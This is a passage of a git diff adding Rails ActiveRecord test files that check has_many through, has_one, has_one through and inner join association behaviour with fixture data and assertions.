+ def test_save_bang_should_raise_exception_when_join_record_has_errors
+ repair_validations(Categorization) do
+ Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
+ c = Category.new(:name => 'Fishing', :authors => [Author.first])
+ assert_raises(ActiveRecord::RecordInvalid) do
+ c.save!
+ end
+ end
+ end
+
+ def test_create_bang_returns_falsy_when_join_record_has_errors
+ repair_validations(Categorization) do
+ Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
+ c = Category.new(:name => 'Fishing', :authors => [Author.first])
+ assert !c.save
+ end
+ end
+
+ def test_preloading_empty_through_association_via_joins
+ person = Person.create!(:first_name => "Gaga")
+ person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').references(:readers).includes(:posts).to_a.first
+
+ assert person.posts.loaded?, 'person.posts should be loaded'
+ assert_equal [], person.posts
+ end
+
+ def test_explicitly_joining_join_table
+ assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet
+ end
+
+ def test_has_many_through_with_polymorphic_source
+ post = tags(:general).tagged_posts.create! :title => "foo", :body => "bar"
+ assert_equal [tags(:general)], post.reload.tags
+ end
+
+ def test_has_many_through_obeys_order_on_through_association
+ owner = owners(:blackbeard)
+ assert owner.toys.to_sql.include?("pets.name desc")
+ assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
+ end
+
+ test "has many through associations on new records use null relations" do
+ person = Person.new
+
+ assert_no_queries do
+ assert_equal [], person.posts
+ assert_equal [], person.posts.where(body: 'omg')
+ assert_equal [], person.posts.pluck(:body)
+ assert_equal 0, person.posts.sum(:tags_count)
+ assert_equal 0, person.posts.count
+ end
+ end
+
+ test "has many through with default scope on the target" do
+ person = people(:michael)
+ assert_equal [posts(:thinking)], person.first_posts
+
+ readers(:michael_authorless).update(first_post_id: 1)
+ assert_equal [posts(:thinking)], person.reload.first_posts
+ end
+end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
new file mode 100644
index 0000000..4ed09a3
--- /dev/null
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -0,0 +1,525 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/ship'
+require 'models/pirate'
+require 'models/car'
+require 'models/bulb'
+require 'models/author'
+require 'models/post'
+
+class HasOneAssociationsTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+ fixtures :accounts, :companies, :developers, :projects, :developers_projects, :ships, :pirates
+
+ def setup
+ Account.destroyed_account_ids.clear
+ end
+
+ def test_has_one
+ assert_equal companies(:first_firm).account, Account.find(1)
+ assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
+ end
+
+ def test_has_one_cache_nils
+ firm = companies(:another_firm)
+ assert_queries(1) { assert_nil firm.account }
+ assert_queries(0) { assert_nil firm.account }
+
+ firms = Firm.all.merge!(:includes => :account).to_a
+ assert_queries(0) { firms.each(&:account) }
+ end
+
+ def test_with_select
+ assert_equal Firm.find(1).account_with_select.attributes.size, 2
+ assert_equal Firm.all.merge!(:includes => :account_with_select).find(1).account_with_select.attributes.size, 2
+ end
+
+ def test_finding_using_primary_key
+ firm = companies(:first_firm)
+ assert_equal Account.find_by_firm_id(firm.id), firm.account
+ firm.firm_id = companies(:rails_core).id
+ assert_equal accounts(:rails_core_account), firm.account_using_primary_key
+ end
+
+ def test_update_with_foreign_and_primary_keys
+ firm = companies(:first_firm)
+ account = firm.account_using_foreign_and_primary_keys
+ assert_equal Account.find_by_firm_name(firm.name), account
+ firm.save
+ firm.reload
+ assert_equal account, firm.account_using_foreign_and_primary_keys
+ end
+
+ def test_can_marshal_has_one_association_with_nil_target
+ firm = Firm.new
+ assert_nothing_raised do
+ assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+ end
+
+ firm.account
+ assert_nothing_raised do
+ assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
+ end
+ end
+
+ def test_proxy_assignment
+ company = companies(:first_firm)
+ assert_nothing_raised { company.account = company.account }
+ end
+
+ def test_type_mismatch
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
+ end
+
+ def test_natural_assignment
+ apple = Firm.create("name" => "Apple")
+ citibank = Account.create("credit_limit" => 10)
+ apple.account = citibank
+ assert_equal apple.id, citibank.firm_id
+ end
+
+ def test_natural_assignment_to_nil
+ old_account_id = companies(:first_firm).account.id
+ companies(:first_firm).account = nil
+ companies(:first_firm).save
+ assert_nil companies(:first_firm).account
+ # account is dependent, therefore is destroyed when reference to owner is lost
+ assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+ end
+
+ def test_nullification_on_association_change
+ firm = companies(:rails_core)
+ old_account_id = firm.account.id
+ firm.account = Account.new(:credit_limit => 5)
+ # account is dependent with nullify, therefore its firm_id should be nil
+ assert_nil Account.find(old_account_id).firm_id
+ end
+
+ def test_natural_assignment_to_nil_after_destroy
+ firm = companies(:rails_core)
+ old_account_id = firm.account.id
+ firm.account.destroy
+ firm.account = nil
+ assert_nil companies(:rails_core).account
+ assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+ end
+
+ def test_association_change_calls_delete
+ companies(:first_firm).deletable_account = Account.new(:credit_limit => 5)
+ assert_equal [], Account.destroyed_account_ids[companies(:first_firm).id]
+ end
+
+ def test_association_change_calls_destroy
+ companies(:first_firm).account = Account.new(:credit_limit => 5)
+ assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]
+ end
+
+ def test_natural_assignment_to_already_associated_record
+ company = companies(:first_firm)
+ account = accounts(:signals37)
+ assert_equal company.account, account
+ company.account = account
+ company.reload
+ account.reload
+ assert_equal company.account, account
+ end
+
+ def test_dependence
+ num_accounts = Account.count
+
+ firm = Firm.find(1)
+ assert_not_nil firm.account
+ account_id = firm.account.id
+ assert_equal [], Account.destroyed_account_ids[firm.id]
+
+ firm.destroy
+ assert_equal num_accounts - 1, Account.count
+ assert_equal [account_id], Account.destroyed_account_ids[firm.id]
+ end
+
+ def test_exclusive_dependence
+ num_accounts = Account.count
+
+ firm = ExclusivelyDependentFirm.find(9)
+ assert_not_nil firm.account
+ assert_equal [], Account.destroyed_account_ids[firm.id]
+
+ firm.destroy
+ assert_equal num_accounts - 1, Account.count
+ assert_equal [], Account.destroyed_account_ids[firm.id]
+ end
+
+ def test_dependence_with_nil_associate
+ firm = DependentFirm.new(:name => 'nullify')
+ firm.save!
+ assert_nothing_raised { firm.destroy }
+ end
+
+ def test_restrict
+ firm = RestrictedFirm.create!(:name => 'restrict')
+ firm.create_account(:credit_limit => 10)
+
+ assert_not_nil firm.account
+
+ assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+ assert RestrictedFirm.exists?(:name => 'restrict')
+ assert firm.account.present?
+ end
+
+ def test_restrict_is_deprecated
+ klass = Class.new(ActiveRecord::Base)
+ assert_deprecated { klass.has_one :post, dependent: :restrict }
+ end
+
+ def test_restrict_with_exception
+ firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
+ firm.create_account(:credit_limit => 10)
+
+ assert_not_nil firm.account
+
+ assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+ assert RestrictedWithExceptionFirm.exists?(:name => 'restrict')
+ assert firm.account.present?
+ end
+
+ def test_restrict_with_error
+ firm = RestrictedWithErrorFirm.create!(:name => 'restrict')
+ firm.create_account(:credit_limit => 10)
+
+ assert_not_nil firm.account
+
+ firm.destroy
+
+ assert !firm.errors.empty?
+ assert_equal "Cannot delete record because a dependent account exists", firm.errors[:base].first
+ assert RestrictedWithErrorFirm.exists?(:name => 'restrict')
+ assert firm.account.present?
+ end
+
+ def test_successful_build_association
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.save
+
+ account = firm.build_account("credit_limit" => 1000)
+ assert account.save
+ assert_equal account, firm.account
+ end
+
+ def test_build_association_dont_create_transaction
+ assert_no_queries {
+ Firm.new.build_account
+ }
+ end
+
+ def test_building_the_associated_object_with_implicit_sti_base_class
+ firm = DependentFirm.new
+ company = firm.build_company
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_associated_object_with_explicit_sti_base_class
+ firm = DependentFirm.new
+ company = firm.build_company(:type => "Company")
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_associated_object_with_sti_subclass
+ firm = DependentFirm.new
+ company = firm.build_company(:type => "Client")
+ assert_kind_of Client, company, "Expected #{company.class} to be a Client"
+ end
+
+ def test_building_the_associated_object_with_an_invalid_type
+ firm = DependentFirm.new
+ assert_raise(ActiveRecord::SubclassNotFound) { firm.build_company(:type => "Invalid") }
+ end
+
+ def test_building_the_associated_object_with_an_unrelated_type
+ firm = DependentFirm.new
+ assert_raise(ActiveRecord::SubclassNotFound) { firm.build_company(:type => "Account") }
+ end
+
+ def test_build_and_create_should_not_happen_within_scope
+ pirate = pirates(:blackbeard)
+ scoped_count = pirate.association(:foo_bulb).scope.where_values.count
+
+ bulb = pirate.build_foo_bulb
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+
+ bulb = pirate.create_foo_bulb
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+
+ bulb = pirate.create_foo_bulb!
+ assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+ end
+
+ def test_create_association
+ firm = Firm.create(:name => "GlobalMegaCorp")
+ account = firm.create_account(:credit_limit => 1000)
+ assert_equal account, firm.reload.account
+ end
+
+ def test_create_association_with_bang
+ firm = Firm.create(:name => "GlobalMegaCorp")
+ account = firm.create_account!(:credit_limit => 1000)
+ assert_equal account, firm.reload.account
+ end
+
+ def test_create_association_with_bang_failing
+ firm = Firm.create(:name => "GlobalMegaCorp")
+ assert_raise ActiveRecord::RecordInvalid do
+ firm.create_account!
+ end
+ account = firm.account
+ assert_not_nil account
+ account.credit_limit = 5
+ account.save
+ assert_equal account, firm.reload.account
+ end
+
+ def test_build
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.save
+
+ firm.account = account = Account.new("credit_limit" => 1000)
+ assert_equal account, firm.account
+ assert account.save
+ assert_equal account, firm.account
+ end
+
+ def test_create
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.save
+ firm.account = account = Account.create("credit_limit" => 1000)
+ assert_equal account, firm.account
+ end
+
+ def test_create_before_save
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.account = account = Account.create("credit_limit" => 1000)
+ assert_equal account, firm.account
+ end
+
+ def test_dependence_with_missing_association
+ Account.destroy_all
+ firm = Firm.find(1)
+ assert_nil firm.account
+ firm.destroy
+ end
+
+ def test_dependence_with_missing_association_and_nullify
+ Account.destroy_all
+ firm = DependentFirm.first
+ assert_nil firm.account
+ firm.destroy
+ end
+
+ def test_finding_with_interpolated_condition
+ firm = Firm.first
+ superior = firm.clients.create(:name => 'SuperiorCo')
+ superior.rating = 10
+ superior.save
+ assert_equal 10, firm.clients_with_interpolated_conditions.first.rating
+ end
+
+ def test_assignment_before_child_saved
+ firm = Firm.find(1)
+ firm.account = a = Account.new("credit_limit" => 1000)
+ assert a.persisted?
+ assert_equal a, firm.account
+ assert_equal a, firm.account
+ assert_equal a, firm.account(true)
+ end
+
+ def test_save_still_works_after_accessing_nil_has_one
+ jp = Company.new :name => 'Jaded Pixel'
+ jp.dummy_account.nil?
+
+ assert_nothing_raised do
+ jp.save!
+ end
+ end
+
+ def test_cant_save_readonly_association
+ assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_firm).readonly_account.save! }
+ assert companies(:first_firm).readonly_account.readonly?
+ end
+
+ def test_has_one_proxy_should_not_respond_to_private_methods
+ assert_raise(NoMethodError) { accounts(:signals37).private_method }
+ assert_raise(NoMethodError) { companies(:first_firm).account.private_method }
+ end
+
+ def test_has_one_proxy_should_respond_to_private_methods_via_send
+ accounts(:signals37).send(:private_method)
+ companies(:first_firm).account.send(:private_method)
+ end
+
+ def test_save_of_record_with_loaded_has_one
+ @firm = companies(:first_firm)
+ assert_not_nil @firm.account
+
+ assert_nothing_raised do
+ Firm.find(@firm.id).save!
+ Firm.all.merge!(:includes => :account).find(@firm.id).save!
+ end
+
+ @firm.account.destroy
+
+ assert_nothing_raised do
+ Firm.find(@firm.id).save!
+ Firm.all.merge!(:includes => :account).find(@firm.id).save!
+ end
+ end
+
+ def test_build_respects_hash_condition
+ account = companies(:first_firm).build_account_limit_500_with_hash_conditions
+ assert account.save
+ assert_equal 500, account.credit_limit
+ end
+
+ def test_create_respects_hash_condition
+ account = companies(:first_firm).create_account_limit_500_with_hash_conditions
+ assert account.persisted?
+ assert_equal 500, account.credit_limit
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_has_one_association_with_where_clause
+ new_account = companies(:first_firm).build_account(:firm_name => 'Account')
+ assert_equal new_account.firm_name, "Account"
+ end
+
+ def test_creation_failure_without_dependent_option
+ pirate = pirates(:blackbeard)
+ orig_ship = pirate.ship
+
+ assert_equal ships(:black_pearl), orig_ship
+ new_ship = pirate.create_ship
+ assert_not_equal ships(:black_pearl), new_ship
+ assert_equal new_ship, pirate.ship
+ assert new_ship.new_record?
+ assert_nil orig_ship.pirate_id
+ assert !orig_ship.changed? # check it was saved
+ end
+
+ def test_creation_failure_with_dependent_option
+ pirate = pirates(:blackbeard).becomes(DestructivePirate)
+ orig_ship = pirate.dependent_ship
+
+ new_ship = pirate.create_dependent_ship
+ assert new_ship.new_record?
+ assert orig_ship.destroyed?
+ end
+
+ def test_creation_failure_due_to_new_record_should_raise_error
+ pirate = pirates(:redbeard)
+ new_ship = Ship.new
+
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ pirate.ship = new_ship
+ end
+ assert_nil pirate.ship
+ assert_nil new_ship.pirate_id
+ end
+
+ def test_replacement_failure_due_to_existing_record_should_raise_error
+ pirate = pirates(:blackbeard)
+ pirate.ship.name = nil
+
+ assert !pirate.ship.valid?
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ pirate.ship = ships(:interceptor)
+ end
+ assert_equal ships(:black_pearl), pirate.ship
+ assert_equal pirate.id, pirate.ship.pirate_id
+ end
+
+ def test_replacement_failure_due_to_new_record_should_raise_error
+ pirate = pirates(:blackbeard)
+ new_ship = Ship.new
+
+ assert_raise(ActiveRecord::RecordNotSaved) do
+ pirate.ship = new_ship
+ end
+ assert_equal ships(:black_pearl), pirate.ship
+ assert_equal pirate.id, pirate.ship.pirate_id
+ assert_equal pirate.id, ships(:black_pearl).reload.pirate_id
+ assert_nil new_ship.pirate_id
+ end
+
+ def test_association_keys_bypass_attribute_protection
+ car = Car.create(:name => 'honda')
+
+ bulb = car.build_bulb
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.build_bulb :car_id => car.id + 1
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.create_bulb
+ assert_equal car.id, bulb.car_id
+
+ bulb = car.create_bulb :car_id => car.id + 1
+ assert_equal car.id, bulb.car_id
+ end
+
+ def test_association_protect_foreign_key
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+
+ ship = pirate.build_ship
+ assert_equal pirate.id, ship.pirate_id
+
+ ship = pirate.build_ship :pirate_id => pirate.id + 1
+ assert_equal pirate.id, ship.pirate_id
+
+ ship = pirate.create_ship
+ assert_equal pirate.id, ship.pirate_id
+
+ ship = pirate.create_ship :pirate_id => pirate.id + 1
+ assert_equal pirate.id, ship.pirate_id
+ end
+
+ def test_build_with_block
+ car = Car.create(:name => 'honda')
+
+ bulb = car.build_bulb{ |b| b.color = 'Red' }
+ assert_equal 'RED!', bulb.color
+ end
+
+ def test_create_with_block
+ car = Car.create(:name => 'honda')
+
+ bulb = car.create_bulb{ |b| b.color = 'Red' }
+ assert_equal 'RED!', bulb.color
+ end
+
+ def test_create_bang_with_block
+ car = Car.create(:name => 'honda')
+
+ bulb = car.create_bulb!{ |b| b.color = 'Red' }
+ assert_equal 'RED!', bulb.color
+ end
+
+ def test_association_attributes_are_available_to_after_initialize
+ car = Car.create(:name => 'honda')
+ bulb = car.create_bulb
+
+ assert_equal car.id, bulb.attributes_after_initialize['car_id']
+ end
+
+ def test_has_one_transaction
+ company = companies(:first_firm)
+ account = Account.find(1)
+
+ company.account # force loading
+ assert_no_queries { company.account = account }
+
+ company.account = nil
+ assert_no_queries { company.account = nil }
+ account = Account.find(2)
+ assert_queries { company.account = account }
+ end
+end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
new file mode 100644
index 0000000..90c557e
--- /dev/null
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -0,0 +1,317 @@
+require "cases/helper"
+require 'models/club'
+require 'models/member_type'
+require 'models/member'
+require 'models/membership'
+require 'models/sponsor'
+require 'models/organization'
+require 'models/member_detail'
+require 'models/minivan'
+require 'models/dashboard'
+require 'models/speedometer'
+require 'models/category'
+require 'models/author'
+require 'models/essay'
+require 'models/owner'
+require 'models/post'
+require 'models/comment'
+
+class HasOneThroughAssociationsTest < ActiveRecord::TestCase
+ fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
+ :dashboards, :speedometers, :authors, :posts, :comments, :categories, :essays, :owners
+
+ def setup
+ @member = members(:groucho)
+ end
+
+ def test_has_one_through_with_has_one
+ assert_equal clubs(:boring_club), @member.club
+ end
+
+ def test_creating_association_creates_through_record
+ new_member = Member.create(:name => "Chris")
+ new_member.club = Club.create(:name => "LRUG")
+ assert_not_nil new_member.current_membership
+ assert_not_nil new_member.club
+ end
+
+ def test_creating_association_builds_through_record_for_new
+ new_member = Member.new(:name => "Jane")
+ new_member.club = clubs(:moustache_club)
+ assert new_member.current_membership
+ assert_equal clubs(:moustache_club), new_member.current_membership.club
+ assert_equal clubs(:moustache_club), new_member.club
+ assert new_member.save
+ assert_equal clubs(:moustache_club), new_member.club
+ end
+
+ def test_replace_target_record
+ new_club = Club.create(:name => "Marx Bros")
+ @member.club = new_club
+ @member.reload
+ assert_equal new_club, @member.club
+ end
+
+ def test_replacing_target_record_deletes_old_association
+ assert_no_difference "Membership.count" do
+ new_club = Club.create(:name => "Bananarama")
+ @member.club = new_club
+ @member.reload
+ end
+ end
+
+ def test_set_record_to_nil_should_delete_association
+ @member.club = nil
+ @member.reload
+ assert_equal nil, @member.current_membership
+ assert_nil @member.club
+ end
+
+ def test_has_one_through_polymorphic
+ assert_equal clubs(:moustache_club), @member.sponsor_club
+ end
+
+ def test_has_one_through_eager_loading
+ members = assert_queries(3) do #base table, through table, clubs table
+ Member.all.merge!(:includes => :club, :where => ["name = ?", "Groucho Marx"]).to_a
+ end
+ assert_equal 1, members.size
+ assert_not_nil assert_no_queries {members[0].club}
+ end
+
+ def test_has_one_through_eager_loading_through_polymorphic
+ members = assert_queries(3) do #base table, through table, clubs table
+ Member.all.merge!(:includes => :sponsor_club, :where => ["name = ?", "Groucho Marx"]).to_a
+ end
+ assert_equal 1, members.size
+ assert_not_nil assert_no_queries {members[0].sponsor_club}
+ end
+
+ def test_has_one_through_with_conditions_eager_loading
+ # conditions on the through table
+ assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :favourite_club).find(@member.id).favourite_club
+ memberships(:membership_of_favourite_club).update_columns(favourite: false)
+ assert_equal nil, Member.all.merge!(:includes => :favourite_club).find(@member.id).reload.favourite_club
+
+ # conditions on the source table
+ assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :hairy_club).find(@member.id).hairy_club
+ clubs(:moustache_club).update_columns(name: "Association of Clean-Shaven Persons")
+ assert_equal nil, Member.all.merge!(:includes => :hairy_club).find(@member.id).reload.hairy_club
+ end
+
+ def test_has_one_through_polymorphic_with_source_type
+ assert_equal members(:groucho), clubs(:moustache_club).sponsored_member
+ end
+
+ def test_eager_has_one_through_polymorphic_with_source_type
+ clubs = Club.all.merge!(:includes => :sponsored_member, :where => ["name = ?","Moustache and Eyebrow Fancier Club"]).to_a
+ # Only the eyebrow fanciers club has a sponsored_member
+ assert_not_nil assert_no_queries {clubs[0].sponsored_member}
+ end
+
+ def test_has_one_through_nonpreload_eagerloading
+ members = assert_queries(1) do
+ Member.all.merge!(:includes => :club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
+ end
+ assert_equal 1, members.size
+ assert_not_nil assert_no_queries {members[0].club}
+ end
+
+ def test_has_one_through_nonpreload_eager_loading_through_polymorphic
+ members = assert_queries(1) do
+ Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
+ end
+ assert_equal 1, members.size
+ assert_not_nil assert_no_queries {members[0].sponsor_club}
+ end
+
+ def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
+ Sponsor.new(:sponsor_club => clubs(:crazy_club), :sponsorable => members(:groucho)).save!
+ members = assert_queries(1) do
+ Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC').to_a #force fallback
+ end
+ assert_equal 1, members.size
+ assert_not_nil assert_no_queries { members[0].sponsor_club }
+ assert_equal clubs(:crazy_club), members[0].sponsor_club
+ end
+
+ def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
+ assert_nil Member.new.club
+ end
+
+ def test_assigning_association_correctly_assigns_target
+ new_member = Member.create(:name => "Chris")
+ new_member.club = new_club = Club.create(:name => "LRUG")
+ assert_equal new_club, new_member.association(:club).target
+ end
+
+ def test_has_one_through_proxy_should_not_respond_to_private_methods
+ assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
+ assert_raise(NoMethodError) { @member.club.private_method }
+ end
+
+ def test_has_one_through_proxy_should_respond_to_private_methods_via_send
+ clubs(:moustache_club).send(:private_method)
+ @member.club.send(:private_method)
+ end
+
+ def test_assigning_to_has_one_through_preserves_decorated_join_record
+ @organization = organizations(:nsa)
+ assert_difference 'MemberDetail.count', 1 do
+ @member_detail = MemberDetail.new(:extra_data => 'Extra')
+ @member.member_detail = @member_detail
+ @member.organization = @organization
+ end
+ assert_equal @organization, @member.organization
+ assert @organization.members.include?(@member)
+ assert_equal 'Extra', @member.member_detail.extra_data
+ end
+
+ def test_reassigning_has_one_through
+ @organization = organizations(:nsa)
+ @new_organization = organizations(:discordians)
+
+ assert_difference 'MemberDetail.count', 1 do
+ @member_detail = MemberDetail.new(:extra_data => 'Extra')
+ @member.member_detail = @member_detail
+ @member.organization = @organization
+ end
+ assert_equal @organization, @member.organization
+ assert_equal 'Extra', @member.member_detail.extra_data
+ assert @organization.members.include?(@member)
+ assert !@new_organization.members.include?(@member)
+
+ assert_no_difference 'MemberDetail.count' do
+ @member.organization = @new_organization
+ end
+ assert_equal @new_organization, @member.organization
+ assert_equal 'Extra', @member.member_detail.extra_data
+ assert !@organization.members.include?(@member)
+ assert @new_organization.members.include?(@member)
+ end
+
+ def test_preloading_has_one_through_on_belongs_to
+ assert_not_nil @member.member_type
+ @organization = organizations(:nsa)
+ @member_detail = MemberDetail.new
+ @member.member_detail = @member_detail
+ @member.organization = @organization
+ @member_details = assert_queries(3) do
+ MemberDetail.all.merge!(:includes => :member_type).to_a
+ end
+ @new_detail = @member_details[0]
+ assert @new_detail.send(:association, :member_type).loaded?
+ assert_not_nil assert_no_queries { @new_detail.member_type }
+ end
+
+ def test_save_of_record_with_loaded_has_one_through
+ @club = @member.club
+ assert_not_nil @club.sponsored_member
+
+ assert_nothing_raised do
+ Club.find(@club.id).save!
+ Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
+ end
+
+ @club.sponsor.destroy
+
+ assert_nothing_raised do
+ Club.find(@club.id).save!
+ Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
+ end
+ end
+
+ def test_through_belongs_to_after_destroy
+ @member_detail = MemberDetail.new(:extra_data => 'Extra')
+ @member.member_detail = @member_detail
+ @member.save!
+
+ assert_not_nil @member_detail.member_type
+ @member_detail.destroy
+ assert_queries(1) do
+ assert_not_nil @member_detail.member_type(true)
+ end
+
+ @member_detail.member.destroy
+ assert_queries(1) do
+ assert_nil @member_detail.member_type(true)
+ end
+ end
+
+ def test_value_is_properly_quoted
+ minivan = Minivan.find('m1')
+ assert_nothing_raised do
+ minivan.dashboard
+ end
+ end
+
+ def test_has_one_through_polymorphic_with_primary_key_option
+ assert_equal categories(:general), authors(:david).essay_category
+
+ authors = Author.joins(:essay_category).where('categories.id' => categories(:general).id)
+ assert_equal authors(:david), authors.first
+
+ assert_equal owners(:blackbeard), authors(:david).essay_owner
+
+ authors = Author.joins(:essay_owner).where("owners.name = 'blackbeard'")
+ assert_equal authors(:david), authors.first
+ end
+
+ def test_has_one_through_with_primary_key_option
+ assert_equal categories(:general), authors(:david).essay_category_2
+
+ authors = Author.joins(:essay_category_2).where('categories.id' => categories(:general).id)
+ assert_equal authors(:david), authors.first
+ end
+
+ def test_has_one_through_with_default_scope_on_join_model
+ assert_equal posts(:welcome).comments.order('id').first, authors(:david).comment_on_first_post
+ end
+
+ def test_has_one_through_many_raises_exception
+ assert_raise(ActiveRecord::HasOneThroughCantAssociateThroughCollection) do
+ members(:groucho).club_through_many
+ end
+ end
+
+ def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_changes
+ minivan = minivans(:cool_first)
+
+ minivan.dashboard
+ proxy = minivan.send(:association_instance_get, :dashboard)
+
+ assert !proxy.stale_target?
+ assert_equal dashboards(:cool_first), minivan.dashboard
+
+ minivan.speedometer_id = speedometers(:second).id
+
+ assert proxy.stale_target?
+ assert_equal dashboards(:second), minivan.dashboard
+ end
+
+ def test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_target_loaded
+ minivan = Minivan.new
+
+ minivan.dashboard
+ proxy = minivan.send(:association_instance_get, :dashboard)
+
+ minivan.speedometer_id = speedometers(:second).id
+
+ assert proxy.stale_target?
+ assert_equal dashboards(:second), minivan.dashboard
+ end
+
+ def test_assigning_has_one_through_belongs_to_with_new_record_owner
+ minivan = Minivan.new
+ dashboard = dashboards(:cool_first)
+
+ minivan.dashboard = dashboard
+
+ assert_equal dashboard, minivan.dashboard
+ assert_equal dashboard, minivan.speedometer.dashboard
+ end
+
+ def test_has_one_through_with_custom_select_on_join_model_default_scope
+ assert_equal clubs(:boring_club), members(:groucho).selected_club
+ end
+end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
new file mode 100644
index 0000000..918783e
--- /dev/null
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -0,0 +1,107 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/essay'
+require 'models/category'
+require 'models/categorization'
+require 'models/person'
+require 'models/tagging'
+require 'models/tag'
+
+class InnerJoinAssociationTest < ActiveRecord::TestCase
+ fixtures :authors, :essays, :posts, :comments, :categories, :categories_posts, :categorizations,
+ :taggings, :tags
+
+ def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
+ result = Author.joins(:thinking_posts, :welcome_posts).to_a
+ assert_equal authors(:david), result.first
+ end
+
+ def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations
+ assert_nothing_raised do
+ sql = Person.joins(:agents => {:agents => :agents}).joins(:agents => {:agents => {:primary_contact => :agents}}).to_sql
+ assert_match(/agents_people_4/i, sql)
+ end
+ end
+
+ def test_construct_finder_sql_ignores_empty_joins_hash
+ sql = Author.joins({}).to_sql
+ assert_no_match(/JOIN/i, sql)
+ end
+
+ def test_construct_finder_sql_ignores_empty_joins_array
+ sql = Author.joins([]).to_sql
+ assert_no_match(/JOIN/i, sql)
+ end
+
+ def test_join_conditions_added_to_join_clause
+ sql = Author.joins(:essays).to_sql
+ assert_match(/writer_type.*?=.*?Author/i, sql)
+ assert_no_match(/WHERE/i, sql)
+ end
+
+ def test_join_conditions_allow_nil_associations
+ authors = Author.includes(:essays).where(:essays => {:id => nil})
+ assert_equal 2, authors.count
+ end
+
+ def test_find_with_implicit_inner_joins_honors_readonly_without_select
+ authors = Author.joins(:posts).to_a
+ assert !authors.empty?, "expected authors to be non-empty"
+ assert authors.all? {|a| a.readonly? }, "expected all authors to be readonly"
+ end
+
+ def test_find_with_implicit_inner_joins_honors_readonly_with_select
+ authors = Author.joins(:posts).select('authors.*').to_a
+ assert !authors.empty?, "expected authors to be non-empty"
+ assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
+ end
+
+ def test_find_with_implicit_inner_joins_honors_readonly_false
+ authors = Author.joins(:posts).readonly(false).to_a
+ assert !authors.empty?, "expected authors to be non-empty"
+ assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
+ end
+
+ def test_find_with_implicit_inner_joins_does_not_set_associations
+ authors = Author.joins(:posts).select('authors.*')
+ assert !authors.empty?, "expected authors to be non-empty"
+ assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
+ end
+
+ def test_count_honors_implicit_inner_joins
+ real_count = Author.all.to_a.sum{|a| a.posts.count }
+ assert_equal real_count, Author.joins(:posts).count, "plain inner join count should match the number of referenced posts records"
+ end
+
+ def test_calculate_honors_implicit_inner_joins
+ real_count = Author.all.to_a.sum{|a| a.posts.count }
+ assert_equal real_count, Author.joins(:posts).calculate(:count, 'authors.id'), "plain inner join count should match the number of referenced posts records"
+ end
+
+ def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
